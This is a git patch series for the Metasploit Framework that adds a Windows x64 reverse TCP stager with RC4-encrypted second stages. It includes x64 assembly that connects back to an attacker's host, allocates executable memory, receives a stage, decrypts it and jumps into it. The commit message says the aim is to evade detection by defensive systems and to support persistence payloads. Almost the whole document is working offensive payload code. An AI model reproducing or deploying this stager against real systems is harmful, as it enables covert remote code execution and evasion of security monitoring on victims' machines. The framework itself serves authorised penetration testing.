From 354eb4092a954692f8d0115bd9ef5c38b9bfbce2 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 4 Feb 2018 02:01:27 -0500 Subject: [PATCH 1/2] Reverse TCP x64 RC4 via max3raza's rc4_x64 asm To round out the work done by mihi for x86 stages back in the day, this PR provides x64 Windows stage encryption in RC4 via assembly written/modified by max3raza during adjacent work on DNS tunneled transport. Stage encryption differs from encoding in that there is no decoder stub or key materiel carried with the stage which can be used by defensive systems to decode and identify the contents. Persistence payloads, oob-delivered stage0, and other contexts benefit heavily from this as their subsequent stage is difficult to detect/identify, and the chance of accidental execution of the wrong payload/stage is drastically reduced if separate keys are in play for individual targets - acquiring the wrong stage will result in decryption failure and prevent further execution. For historical context, all of the RC4 stagers implement in-place decryption via stage0 for the contents of stage1 using the provided passphrase converted to a key and embedded in stage0 as part of the payload. Testing: In-house testing with Max - we got sessions, loaded extensions. Notes: All credit for the work goes to Max3raza - big ups for getting this knocked out. --- lib/msf/core/payload/windows/x64/rc4.rb | 97 +++++++++ .../core/payload/windows/x64/reverse_tcp.rb | 12 +- .../payload/windows/x64/reverse_tcp_rc4.rb | 191 ++++++++++++++++++ .../stagers/windows/x64/reverse_tcp_rc4.rb | 35 ++++ 4 files changed, 333 insertions(+), 2 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/rc4.rb create mode 100644 lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb diff --git a/lib/msf/core/payload/windows/x64/rc4.rb b/lib/msf/core/payload/windows/x64/rc4.rb new file mode 100644 index 000000000000..8e7977bc5594 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/rc4.rb @@ -0,0 +1,97 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + +### +# +# RC4 decryption stub for Windows ARCH_X64 payloads +# +### +module Payload::Windows::Rc4_x64 + # + # Register rc4 specific options + # + def initialize(*args) + super + register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class) + end + + # + # Generate assembly code that decrypts RC4 shellcode in-place + # + + def asm_decrypt_rc4 + %! + ;-----------------------------------------------------------------------------; + ; Author: max3raza + ; Version: 1.0 (12 January 2018) + ;-----------------------------------------------------------------------------; + ; Input: R9 - Data to decode + ; RCX - Data length + ; RSI - Key (16 bytes for simplicity and smaller code) + ; RDI - pointer to 0x100 bytes scratch space for S-box + ; Direction flag has to be cleared + ; Output: None. Data is decoded in place. + ; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used) + ; Initialize S-box + xor rax, rax ; Start with 0 + mov r8, rdi ; Save pointer to S-box + init: + stosb ; Store next S-Box byte S[i] = i + inc al ; increase byte to write (RDI is increased automatically) + jnz init ; loop until we wrap around + ; permute S-box according to key + xor rbx, rbx ; Clear RBX (RAX is already cleared) + permute: + add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16] + mov rdx, rax + and dl, 0xF + add bl, [rsi+rdx] + mov dl, [r8+rax] ; swap S[AL] and S[BL] + xchg dl, [r8+rbx] + mov [r8+rax], dl + inc al ; AL += 1 until we wrap around + jnz permute + ; decryption loop + xor rbx, rbx ; Clear RBX (RAX is already cleared) + decrypt: + inc al ; AL += 1 + add bl, [r8+rax] ; BL += S[AL] + mov dl, [r8+rax] ; swap S[AL] and S[BL] + xchg dl, [r8+rbx] + mov [r8+rax], dl + add dl, [r8+rbx] ; DL = S[AL]+S[BL] + mov dl, [r8+rdx] ; DL = S[DL] + xor [r9], dl ; [EBP] ^= DL + inc r9 ; advance data pointer + dec rcx ; reduce counter + jnz decrypt ; until finished + ! + end + + def generate_stage(opts = {}) + p = super(opts) + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + c1 = OpenSSL::Cipher.new('RC4') + c1.decrypt + c1.key = rc4key + p = c1.update(p) + [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p + end + + def handle_intermediate_stage(_conn, _payload) + false + end + + private + + def rc4_keys(rc4pass = '') + m = OpenSSL::Digest.new('sha1') + m.reset + key = m.digest(rc4pass) + [key[0, 4], key[4, 16]] + end +end +end diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 3684be93af5d..249918e72d3b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -69,6 +69,7 @@ def generate_reverse_tcp(opts={}) start: pop rbp ; block API pointer #{asm_reverse_tcp(opts)} + #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end @@ -105,7 +106,6 @@ def required_space # def asm_reverse_tcp(opts={}) - reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first @@ -191,7 +191,15 @@ def asm_reverse_tcp(opts={}) ^ asm << asm_send_uuid if include_send_uuid - asm << %Q^ + asm + + end + + def asm_block_recv(opts={}) + + reliable = opts[:reliable] + + asm = %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb new file mode 100644 index 000000000000..e97f972a8827 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb @@ -0,0 +1,191 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_tcp' +require 'msf/core/payload/windows/x64/rc4' + +module Msf + +### +# +# Complex reverse_tcp payload generation for Windows ARCH_X64 +# +### + +module Payload::Windows::ReverseTcpRc4_x64 + + include Msf::Payload::Windows::ReverseTcp_x64 + include Msf::Payload::Windows::Rc4_x64 + + # + # Generate the first stage + # + def generate + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + xorkey: xorkey, + rc4key: rc4key, + reliable: false + } + + # Generate the advanced stager if we have space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_tcp_rc4(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp_rc4(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp ; block API pointer + #{asm_reverse_tcp(opts)} + #{asm_block_recv_rc4(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + def asm_block_recv_rc4(opts={}) + xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp + reliable = opts[:reliable] + asm = %Q^ + recv: + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + mov esi, esi ; only use the lower-order 32 bits for the size + xor esi, #{xorkey} ; XOR the stage length + lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length) + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx,rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + ; mov rbx, rax ; rbx = our new memory address for the new stage + lea rbx, [rax+0x100] + ; mov r15, rax ; save the address so we can jump into it later + mov r15, rbx + push rbx ; save stage address + push rsi ; push stage length + push rax ; push the address of the S-box + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + add rsp, 32 ; restore stack after api_call + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + cleanup_socket: + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + ; test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + mov r14, rdi ; save socket handle + pop rdi ; address of S-box + pop rcx ; stage length + pop r9 ; address of stage + push rbp ; push back so we can return into it + push r14 ; save socket + call after_key ; Call after_key, this pushes the address of the key onto the stack. + db #{raw_to_db(opts[:rc4key])} + after_key: + pop rsi ; rsi = RC4 key + #{asm_decrypt_rc4} + pop rdi ; restrore socket handle + pop rbp ; restore rbp + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb new file mode 100644 index 000000000000..3c561e3cba4b --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/x64/reverse_tcp_rc4' + + +module MetasploitModule + + CachedSize = 398 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseTcpRc4_x64 + + def self.handler_type_alias + "reverse_tcp_rc4" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)', + 'Description' => 'Connect back to the attacker', + 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end +end From 80779f73efaa5021fe96f321cd33d9b305fdf6ed Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 16 Feb 2018 23:03:05 -0500 Subject: [PATCH 2/2] Implement Michael Schierl's suggestions --- lib/msf/core/payload/windows/x64/rc4.rb | 2 +- lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb | 2 -- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/rc4.rb b/lib/msf/core/payload/windows/x64/rc4.rb index 8e7977bc5594..a77627e4a7b3 100644 --- a/lib/msf/core/payload/windows/x64/rc4.rb +++ b/lib/msf/core/payload/windows/x64/rc4.rb @@ -64,7 +64,7 @@ def asm_decrypt_rc4 mov [r8+rax], dl add dl, [r8+rbx] ; DL = S[AL]+S[BL] mov dl, [r8+rdx] ; DL = S[DL] - xor [r9], dl ; [EBP] ^= DL + xor [r9], dl ; [R9] ^= DL inc r9 ; advance data pointer dec rcx ; reduce counter jnz decrypt ; until finished diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb index e97f972a8827..144fb0b2f702 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp_rc4.rb @@ -167,7 +167,6 @@ def asm_block_recv_rc4(opts={}) pop rdi ; address of S-box pop rcx ; stage length pop r9 ; address of stage - push rbp ; push back so we can return into it push r14 ; save socket call after_key ; Call after_key, this pushes the address of the key onto the stack. db #{raw_to_db(opts[:rc4key])} @@ -175,7 +174,6 @@ def asm_block_recv_rc4(opts={}) pop rsi ; rsi = RC4 key #{asm_decrypt_rc4} pop rdi ; restrore socket handle - pop rbp ; restore rbp jmp r15 ; return into the second stage ^